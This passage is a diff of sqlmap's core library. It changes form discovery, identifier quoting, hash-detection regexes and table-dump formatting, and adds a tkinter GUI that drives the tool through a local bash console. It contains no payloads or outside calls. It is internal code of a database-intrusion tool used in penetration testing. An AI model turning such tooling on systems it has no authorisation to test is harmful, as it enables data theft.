     """
 
     retVal = None
-    req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py")
+    req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
 
     try:
         content = getUnicode(_urllib.request.urlopen(req).read())
@@ -3780,6 +3834,8 @@ def maskSensitiveData(msg):
 
     >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
     True
+    >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************'
+    True
     """
 
     retVal = getUnicode(msg)
@@ -3794,7 +3850,7 @@ def maskSensitiveData(msg):
             retVal = retVal.replace(value, '*' * len(value))
 
     # Just in case (for problematic parameters regarding user encoding)
-    for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
+    for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
         retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
 
     # Fail-safe substitutions
@@ -3994,6 +4050,14 @@ def safeSQLIdentificatorNaming(name, isTable=False):
     Returns a safe representation of SQL identificator name (internal data format)
 
     # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> getText(safeSQLIdentificatorNaming("begin"))
+    '[begin]'
+    >>> getText(safeSQLIdentificatorNaming("foobar"))
+    'foobar'
+    >>> kb.forceDbms = popValue()
     """
 
     retVal = name
@@ -4008,9 +4072,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
         if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
             retVal = unsafeSQLIdentificatorNaming(retVal)
 
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
+            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                 retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
                 retVal = "\"%s\"" % retVal
             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                 retVal = "\"%s\"" % retVal.upper()
@@ -4033,14 +4097,22 @@ def safeSQLIdentificatorNaming(name, isTable=False):
 def unsafeSQLIdentificatorNaming(name):
     """
     Extracts identificator's name from its safe SQL representation
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> getText(unsafeSQLIdentificatorNaming("[begin]"))
+    'begin'
+    >>> getText(unsafeSQLIdentificatorNaming("foobar"))
+    'foobar'
+    >>> kb.forceDbms = popValue()
     """
 
     retVal = name
 
     if isinstance(name, six.string_types):
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
             retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
             retVal = name.replace("\"", "")
         elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
             retVal = name.replace("\"", "").upper()
@@ -4292,11 +4364,16 @@ def asciifyUrl(url, forceQuote=False):
     if all(char in string.printable for char in url):
         return getText(url)
 
+    hostname = parts.hostname
+
+    if isinstance(hostname, six.binary_type):
+        hostname = getUnicode(hostname)
+
     # idna-encode domain
     try:
-        hostname = parts.hostname.encode("idna")
+        hostname = hostname.encode("idna")
-    except LookupError:
+    except:
-        hostname = parts.hostname.encode("punycode")
+        hostname = hostname.encode("punycode")
 
     # UTF8-quote the other parts. We check each part individually if
     # if needs to be quoted - that should catch some additional user
@@ -4393,9 +4470,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     try:
         forms = ParseResponse(response, backwards_compat=False)
     except ParseError:
-        if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
+        if re.search(r"(?i)<!DOCTYPE html|<html", content or "") and not re.search(r"(?i)\.js(\?|\Z)", url):
-            warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
+            dbgMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
-            logger.warning(warnMsg)
+            logger.debug(dbgMsg)
             filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
 
             if filtered and filtered != content:
@@ -4410,54 +4487,77 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     except:
         pass
 
-    if forms:
+    for form in forms or []:
-        for form in forms:
+        try:
-            try:
+            for control in form.controls:
-                for control in form.controls:
+                if hasattr(control, "items") and not any((control.disabled, control.readonly)):
-                    if hasattr(control, "items") and not any((control.disabled, control.readonly)):
+                    # if control has selectable items select first non-disabled
-                        # if control has selectable items select first non-disabled
+                    for item in control.items:
-                        for item in control.items:
+                        if not item.disabled:
-                            if not item.disabled:
+                            if not item.selected:
-                                if not item.selected:
+                                item.selected = True
-                                    item.selected = True
+                            break
-                                break
 
-                if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
+            if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
-                    dbgMsg = "skipping '%s'" % form.action
+                dbgMsg = "skipping '%s'" % form.action
-                    logger.debug(dbgMsg)
+                logger.debug(dbgMsg)
-                    continue
+                continue
 
-                request = form.click()
+            request = form.click()
-            except (ValueError, TypeError) as ex:
+        except (ValueError, TypeError) as ex:
-                errMsg = "there has been a problem while "
+            errMsg = "there has been a problem while "
-                errMsg += "processing page forms ('%s')" % getSafeExString(ex)
+            errMsg += "processing page forms ('%s')" % getSafeExString(ex)
-                if raise_:
+            if raise_:
-                    raise SqlmapGenericException(errMsg)
+                raise SqlmapGenericException(errMsg)
-                else:
-                    logger.debug(errMsg)
             else:
-                url = urldecode(request.get_full_url(), kb.pageEncoding)
+                logger.debug(errMsg)
-                method = request.get_method()
+        else:
-                data = request.data
+            url = urldecode(request.get_full_url(), kb.pageEncoding)
-                data = urldecode(data, kb.pageEncoding, spaceplus=False)
+            method = request.get_method()
+            data = request.data
+            data = urldecode(data, kb.pageEncoding, spaceplus=False)
 
-                if not data and method and method.upper() == HTTPMETHOD.POST:
+            if not data and method and method.upper() == HTTPMETHOD.POST:
-                    debugMsg = "invalid POST form with blank data detected"
+                debugMsg = "invalid POST form with blank data detected"
-                    logger.debug(debugMsg)
+                logger.debug(debugMsg)
-                    continue
+                continue
 
-                # flag to know if we are dealing with the same target host
+            # flag to know if we are dealing with the same target host
-                _ = checkSameHost(response.geturl(), url)
+            _ = checkSameHost(response.geturl(), url)
 
-                if conf.scope:
+            if data:
-                    if not re.search(conf.scope, url, re.I):
+                data = data.lstrip("&=").rstrip('&')
-                        continue
+
-                elif not _:
+            if conf.scope and not re.search(conf.scope, url, re.I):
-                    continue
+                continue
-                else:
+            elif data and not re.sub(r"(%s)=[^&]*&?" % '|'.join(IGNORE_PARAMETERS), "", data):
-                    target = (url, method, data, conf.cookie, None)
+                continue
-                    retVal.add(target)
+            elif not _:
-    else:
+                continue
+            else:
+                target = (url, method, data, conf.cookie, None)
+                retVal.add(target)
+
+    for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
+        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        data = ""
+
+        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
+            data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
+
+        data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
+        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
+
+    for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content):
+        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
+        data = match.group(3)
+
+        data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data)
+
+        data = data.strip("['\"]")
+        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
+
+    if not retVal and not conf.crawlDepth:
         errMsg = "there were no forms found at the given target URL"
         if raise_:
             raise SqlmapGenericException(errMsg)
@@ -4658,18 +4758,19 @@ def decodeDbmsHexValue(value, raw=False):
             else:
                 retVal = decodeHex(value)
 
-            if not kb.binaryField and not raw:
+            if not raw:
-                if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
+                if not kb.binaryField:
-                    try:
+                    if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
-                        retVal = retVal.decode("utf-16-le")
+                        try:
-                    except UnicodeDecodeError:
+                            retVal = retVal.decode("utf-16-le")
-                        pass
+                        except UnicodeDecodeError:
+                            pass
 
-                elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
+                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
-                    try:
+                        try:
-                        retVal = retVal.decode("utf-16-be")
+                            retVal = retVal.decode("utf-16-be")
-                    except UnicodeDecodeError:
+                        except UnicodeDecodeError:
-                        pass
+                            pass
 
                 if not isinstance(retVal, six.text_type):
                     retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
@@ -4823,7 +4924,7 @@ def prioritySortColumns(columns):
     """
 
     def _(column):
-        return column and "id" in column.lower()
+        return column and re.search(r"^id|id$", column, re.I) is not None
 
     return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
 
@@ -4881,7 +4982,6 @@ def zeroDepthSearch(expression, value):
         elif expression[index] == ')':
             depth -= 1
         elif depth == 0:
-            found = False
             if value.startswith('[') and value.endswith(']'):
                 if re.search(value, expression[index:index + 1]):
                     retVal.append(index)
@@ -4970,7 +5070,7 @@ def parseRequestFile(reqFile, checkParams=True):
                     port, request = match.groups()
                     try:
                         request = decodeBase64(request, binary=False)
-                    except binascii.Error:
+                    except (binascii.Error, TypeError):
                         continue
                     _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
                     if _:

lib/core/compat.py

@@ -13,6 +13,7 @@ import math
 import os
 import random
 import sys
+import time
 import uuid
 
 class WichmannHill(random.Random):
@@ -40,7 +41,6 @@ class WichmannHill(random.Random):
             try:
                 a = int(binascii.hexlify(os.urandom(16)), 16)
             except NotImplementedError:
-                import time
                 a = int(time.time() * 256)  # use fractional seconds
 
         if not isinstance(a, int):
@@ -132,7 +132,6 @@ class WichmannHill(random.Random):
             raise ValueError('seeds must be in range(0, 256)')
         if 0 == x == y == z:
             # Initialize from current time
-            import time
             t = int(time.time() * 256)
             t = int((t & 0xffffff) ^ (t >> 24))
             t, x = divmod(t, 256)
@@ -204,6 +203,7 @@ def round(x, d=0):
     else:
         return float(math.ceil((x * p) - 0.5)) / p
 
+# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/
 def cmp_to_key(mycmp):
     """Convert a cmp= function into a key= function"""
     class K(object):

lib/core/convert.py

@@ -31,6 +31,11 @@ from lib.core.settings import UNICODE_ENCODING
 from thirdparty import six
 from thirdparty.six import unichr as _unichr
 
+try:
+    from html import escape as htmlEscape
+except ImportError:
+    from cgi import escape as htmlEscape
+
 def base64pickle(value):
     """
     Serializes (with pickle) and encodes to Base64 format supplied (binary) value
@@ -184,7 +189,7 @@ def encodeHex(value, binary=True):
 
     return retVal
 
-def decodeBase64(value, binary=True):
+def decodeBase64(value, binary=True, encoding=None):
     """
     Returns a decoded representation of provided Base64 value
 
@@ -197,11 +202,11 @@ def decodeBase64(value, binary=True):
     retVal = base64.b64decode(value)
 
     if not binary:
-        retVal = getText(retVal)
+        retVal = getText(retVal, encoding)
 
     return retVal
 
-def encodeBase64(value, binary=True):
+def encodeBase64(value, binary=True, encoding=None):
     """
     Returns a decoded representation of provided Base64 value
 
@@ -212,12 +217,12 @@ def encodeBase64(value, binary=True):
     """
 
     if isinstance(value, six.text_type):
-        value = value.encode(UNICODE_ENCODING)
+        value = value.encode(encoding or UNICODE_ENCODING)
 
     retVal = base64.b64encode(value)
 
     if not binary:
-        retVal = getText(retVal)
+        retVal = getText(retVal, encoding)
 
     return retVal
 
@@ -231,6 +236,11 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
 
     retVal = value
 
+    try:
+        codecs.lookup(encoding)
+    except LookupError:
+        encoding = UNICODE_ENCODING
+
     if isinstance(value, six.text_type):
         if INVALID_UNICODE_PRIVATE_AREA:
             if unsafe:
@@ -263,7 +273,7 @@ def getOrds(value):
 
 def getUnicode(value, encoding=None, noneToNull=False):
     """
-    Return the unicode representation of the supplied value:
+    Returns the unicode representation of the supplied value
 
     >>> getUnicode('test') == u'test'
     True
@@ -305,7 +315,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
         except UnicodeDecodeError:
             return six.text_type(str(value), errors="ignore")  # encoding ignored for non-basestring instances
 
-def getText(value):
+def getText(value, encoding=None):
     """
     Returns textual value of a given value (Note: not necessary Unicode on Python2)
 
@@ -318,7 +328,7 @@ def getText(value):
     retVal = value
 
     if isinstance(value, six.binary_type):
-        retVal = getUnicode(value)
+        retVal = getUnicode(value, encoding)
 
     if six.PY2:
         try:
@@ -375,3 +385,20 @@ def stdoutEncode(value):
         retVal = value
 
     return retVal
+
+def getConsoleLength(value):
+    """
+    Returns console width of unicode values
+
+    >>> getConsoleLength("abc")
+    3
+    >>> getConsoleLength(u"\\u957f\\u6c5f")
+    4
+    """
+
+    if isinstance(value, six.text_type):
+        retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
+    else:
+        retVal = len(value)
+
+    return retVal

lib/core/decorators.py

@@ -85,7 +85,7 @@ def lockedmethod(f):
     @functools.wraps(f)
     def _(*args, **kwargs):
         if f not in _method_locks:
-            _method_locks[f] = threading.Lock()
+            _method_locks[f] = threading.RLock()
 
         with _method_locks[f]:
             result = f(*args, **kwargs)

lib/core/defaults.py

@@ -20,6 +20,7 @@ _defaults = {
     "level": 1,
     "risk": 1,
     "dumpFormat": "CSV",
+    "tablePrefix": "sqlmap",
     "technique": "BEUSTQ",
     "torType": "SOCKS5",
 }

lib/core/dump.py

@@ -13,7 +13,6 @@ import shutil
 import tempfile
 import threading
 
-from extra.safe2bin.safe2bin import safechardecode
 from lib.core.common import Backend
 from lib.core.common import checkFile
 from lib.core.common import dataToDumpFile
@@ -29,8 +28,10 @@ from lib.core.common import safeCSValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
+from lib.core.convert import getConsoleLength
 from lib.core.convert import getText
 from lib.core.convert import getUnicode
+from lib.core.convert import htmlEscape
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -53,6 +54,7 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import WINDOWS_RESERVED_NAMES
+from lib.utils.safe2bin import safechardecode
 from thirdparty import six
 from thirdparty.magic import magic
 
@@ -136,8 +138,6 @@ class Dump(object):
                 self._write("%s:\n---\n%s\n---" % (header, _))
             else:
                 self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
-        else:
-            self._write("%s:\tNone" % header)
 
     def lister(self, header, elements, content_type=None, sort=True):
         if elements and sort:
@@ -197,7 +197,7 @@ class Dump(object):
             self._areAdmins = userSettings[1]
             userSettings = userSettings[0]
 
-        users = list(userSettings.keys())
+        users = [_ for _ in userSettings.keys() if _ is not None]
         users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
         if conf.api:
@@ -245,7 +245,7 @@ class Dump(object):
                     if table and isListLike(table):
                         table = table[0]
 
-                    maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table))))
+                    maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
 
             lines = "-" * (int(maxlength) + 2)
 
@@ -266,7 +266,7 @@ class Dump(object):
                         table = table[0]
 
                     table = unsafeSQLIdentificatorNaming(table)
-                    blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table)))
+                    blank = " " * (maxlength - getConsoleLength(getUnicode(table)))
                     self._write("| %s%s |" % (table, blank))
 
                 self._write("+%s+\n" % lines)
@@ -361,7 +361,7 @@ class Dump(object):
             for ctables in dbTables.values():
                 for tables in ctables.values():
                     for table in tables:
-                        maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table)))
+                        maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
 
             for db, counts in dbTables.items():
                 self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
@@ -387,7 +387,7 @@ class Dump(object):
                     tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
                     for table in tables:
-                        blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table)))
+                        blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
                         blank2 = " " * (maxlength2 - len(str(count)))
                         self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
 
@@ -547,7 +547,7 @@ class Dump(object):
 
                 column = unsafeSQLIdentificatorNaming(column)
                 maxlength = int(info["length"])
-                blank = " " * (maxlength - len(column))
+                blank = " " * (maxlength - getConsoleLength(column))
 
                 self._write("| %s%s" % (column, blank), newline=False)
 
@@ -558,7 +558,7 @@ class Dump(object):
                         else:
                             dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
                     elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))
+                        dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
 
                 field += 1
 
@@ -602,7 +602,7 @@ class Dump(object):
 
                     values.append(value)
                     maxlength = int(info["length"])
-                    blank = " " * (maxlength - len(value))
+                    blank = " " * (maxlength - getConsoleLength(value))
                     self._write("| %s%s" % (value, blank), newline=False, console=console)
 
                     if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
@@ -630,7 +630,7 @@ class Dump(object):
                         else:
                             dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
                     elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))
+                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
 
                     field += 1
 
@@ -676,28 +676,28 @@ class Dump(object):
             else:
                 colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column)
 
-            msg = "column%s found in the " % colConsiderStr
+            found = {}
-            msg += "following databases:"
-            self._write(msg)
-
-            _ = {}
-
             for db, tblData in dbs.items():
                 for tbl, colData in tblData.items():
                     for col, dataType in colData.items():
                         if column.lower() in col.lower():
-                            if db in _:
+                            if db in found:
-                                if tbl in _[db]:
+                                if tbl in found[db]:
-                                    _[db][tbl][col] = dataType
+                                    found[db][tbl][col] = dataType
                                 else:
-                                    _[db][tbl] = {col: dataType}
+                                    found[db][tbl] = {col: dataType}
                             else:
-                                _[db] = {}
+                                found[db] = {}
-                                _[db][tbl] = {col: dataType}
+                                found[db][tbl] = {col: dataType}
 
                             continue
 
-            self.dbTableColumns(_)
+            if found:
+                msg = "column%s found in the " % colConsiderStr
+                msg += "following databases:"
+                self._write(msg)
+
+                self.dbTableColumns(found)
 
     def sqlQuery(self, query, queryRes):
         self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY)

lib/core/enums.py

@@ -130,12 +130,12 @@ class HASH(object):
     MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
     ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
     ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z'
-    MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z'
+    MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z'
-    SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z'
+    SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z'
     SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z'
-    SHA256_GENERIC = r'(?i)\A[0-9a-f]{64}\Z'
+    SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z'
     SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
-    SHA512_GENERIC = r'(?i)\A[0-9a-f]{128}\Z'
+    SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
     CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
     JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
     WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
@@ -244,8 +244,8 @@ class HASHDB_KEYS(object):
     OS = "OS"
 
 class REDIRECTION(object):
-    YES = "Y"
+    YES = 'Y'
-    NO = "N"
+    NO = 'N'
 
 class PAYLOAD(object):
     SQLINJECTION = {

lib/core/gui.py

@@ -0,0 +1,265 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+import socket
+import subprocess
+import sys
+import threading
+import webbrowser
+
+from lib.core.common import getSafeExString
+from lib.core.defaults import defaults
+from lib.core.exception import SqlmapMissingDependence
+from lib.core.settings import DEV_EMAIL_ADDRESS
+from lib.core.settings import ISSUES_PAGE
+from lib.core.settings import GIT_PAGE
+from lib.core.settings import SITE
+from lib.core.settings import VERSION_STRING
+from lib.core.settings import WIKI_PAGE
+from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
+from thirdparty.six.moves import queue as _queue
+
+line = ""
+process = None
+queue = None
+
+def runGui(parser):
+    try:
+        import tkinter
+        import tkinter.scrolledtext
+        import tkinter.ttk
+    except ImportError as ex:
+        raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
+
+    # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
+    class ConstrainedEntry(tkinter.Entry):
+        def __init__(self, master=None, **kwargs):
+            self.var = tkinter.StringVar()
+            self.regex = kwargs["regex"]
+            del kwargs["regex"]
+            tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
+            self.old_value = ''
+            self.var.trace('w', self.check)
+            self.get, self.set = self.var.get, self.var.set
+
+        def check(self, *args):
+            if re.search(self.regex, self.get()):
+                self.old_value = self.get()
+            else:
+                self.set(self.old_value)
+
+    # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
+    class AutoresizableNotebook(tkinter.ttk.Notebook):
+        def __init__(self, master=None, **kw):
+            tkinter.ttk.Notebook.__init__(self, master, **kw)
+            self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
+
+        def _on_tab_changed(self,event):
+            event.widget.update_idletasks()
+
+            tab = event.widget.nametowidget(event.widget.select())
+            event.widget.configure(height=tab.winfo_reqheight())
+
+    window = tkinter.Tk()
+    window.title(VERSION_STRING)
+
+    # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
+    style = tkinter.ttk.Style()
+    settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
+    style.theme_create("custom", parent="alt", settings=settings)
+    style.theme_use("custom")
+
+    # Reference: https://stackoverflow.com/a/10018670
+    def center(window):
+        window.update_idletasks()
+        width = window.winfo_width()
+        frm_width = window.winfo_rootx() - window.winfo_x()
+        win_width = width + 2 * frm_width
+        height = window.winfo_height()
+        titlebar_height = window.winfo_rooty() - window.winfo_y()
+        win_height = height + titlebar_height + frm_width
+        x = window.winfo_screenwidth() // 2 - win_width // 2
+        y = window.winfo_screenheight() // 2 - win_height // 2
+        window.geometry('{}x{}+{}+{}'.format(width, height, x, y))
+        window.deiconify()
+
+    def onKeyPress(event):
+        global line
+        global queue
+
+        if process:
+            if event.char == '\b':
+                line = line[:-1]
+            else:
+                line += event.char
+
+    def onReturnPress(event):
+        global line
+        global queue
+
+        if process:
+            try:
+                process.stdin.write(("%s\n" % line.strip()).encode())
+                process.stdin.flush()
+            except socket.error:
+                line = ""
+                event.widget.master.master.destroy()
+                return "break"
+
+            event.widget.insert(tkinter.END, "\n")
+
+            counter = 0
+            while True:
+                line = ""
+                try:
+                    #line = queue.get_nowait()
+                    line = queue.get(timeout=.1)
+                    event.widget.insert(tkinter.END, line)
+                    counter = 0
+                except _queue.Empty:
+                    event.widget.see(tkinter.END)
+                    event.widget.update_idletasks()
+                    if counter > 3:
+                        break
+                    else:
+                        counter += 1
+
+            return "break"
+
+    def run():
+        global process
+        global queue
+
+        ON_POSIX = "posix" in sys.builtin_module_names
+
+        def enqueue(stream, queue):
+            for line in iter(stream.readline, b''):
+                queue.put(line)
+            stream.close()
+
+        process = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=ON_POSIX)
+
+        # Reference: https://stackoverflow.com/a/4896288
+        queue = _queue.Queue()
+        thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
+        thread.daemon = True
+        thread.start()
+
+
+        options = {}
+
+        for key in window._widgets:
+            dest, type = key
+            widget = window._widgets[key]
+
+            if hasattr(widget, "get") and not widget.get():
+                value = None
+            elif type == "string":
+                value = widget.get()
+            elif type == "float":
+                value = float(widget.get())
+            elif type == "int":
+                value = int(widget.get())
+            else:
+                value = bool(widget.var.get())
+
+            options[dest] = value
+
+        for option in parser.option_list:
+            options[option.dest] = defaults.get(option.dest, None)
+
+        parser._args = options
+
+        top = tkinter.Toplevel()
+        top.title("Console")
+
+        # Reference: https://stackoverflow.com/a/13833338
+        text = tkinter.scrolledtext.ScrolledText(top, undo=True)
+        text.bind("<Key>", onKeyPress)
+        text.bind("<Return>", onReturnPress)
+        text.pack()
+        text.focus()
+
+        center(top)
+
+    menubar = tkinter.Menu(window)
+
+    filemenu = tkinter.Menu(menubar, tearoff=0)
+    filemenu.add_command(label="Open", state=tkinter.DISABLED)
+    filemenu.add_command(label="Save", state=tkinter.DISABLED)
+    filemenu.add_separator()
+    filemenu.add_command(label="Exit", command=window.quit)
+    menubar.add_cascade(label="File", menu=filemenu)
+
+    menubar.add_command(label="Run", command=run)
+
+    helpmenu = tkinter.Menu(menubar, tearoff=0)
+    helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
+    helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
+    helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
+    helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
+    helpmenu.add_separator()
+    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2019\n\n    (%s)" % DEV_EMAIL_ADDRESS))
+    menubar.add_cascade(label="Help", menu=helpmenu)
+
+    window.config(menu=menubar)
+    window._widgets = {}
+
+    notebook = AutoresizableNotebook(window)
+
+    first = None
+    frames = {}
+
+    for group in parser.option_groups:
+        frame = frames[group.title] = tkinter.Frame(notebook, width=200, height=200)
+        notebook.add(frames[group.title], text=group.title)
+
+        tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W)
+
+        row = 1
+        if group.get_description():
+            tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=tkinter.W)
+            tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W)
+            row += 2
+
+        for option in group.option_list:
+            tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=tkinter.W)
+
+            if option.type == "string":
+                widget = tkinter.Entry(frame)
+            elif option.type == "float":
+                widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
+            elif option.type == "int":
+                widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
+            else:
+                var = tkinter.IntVar()
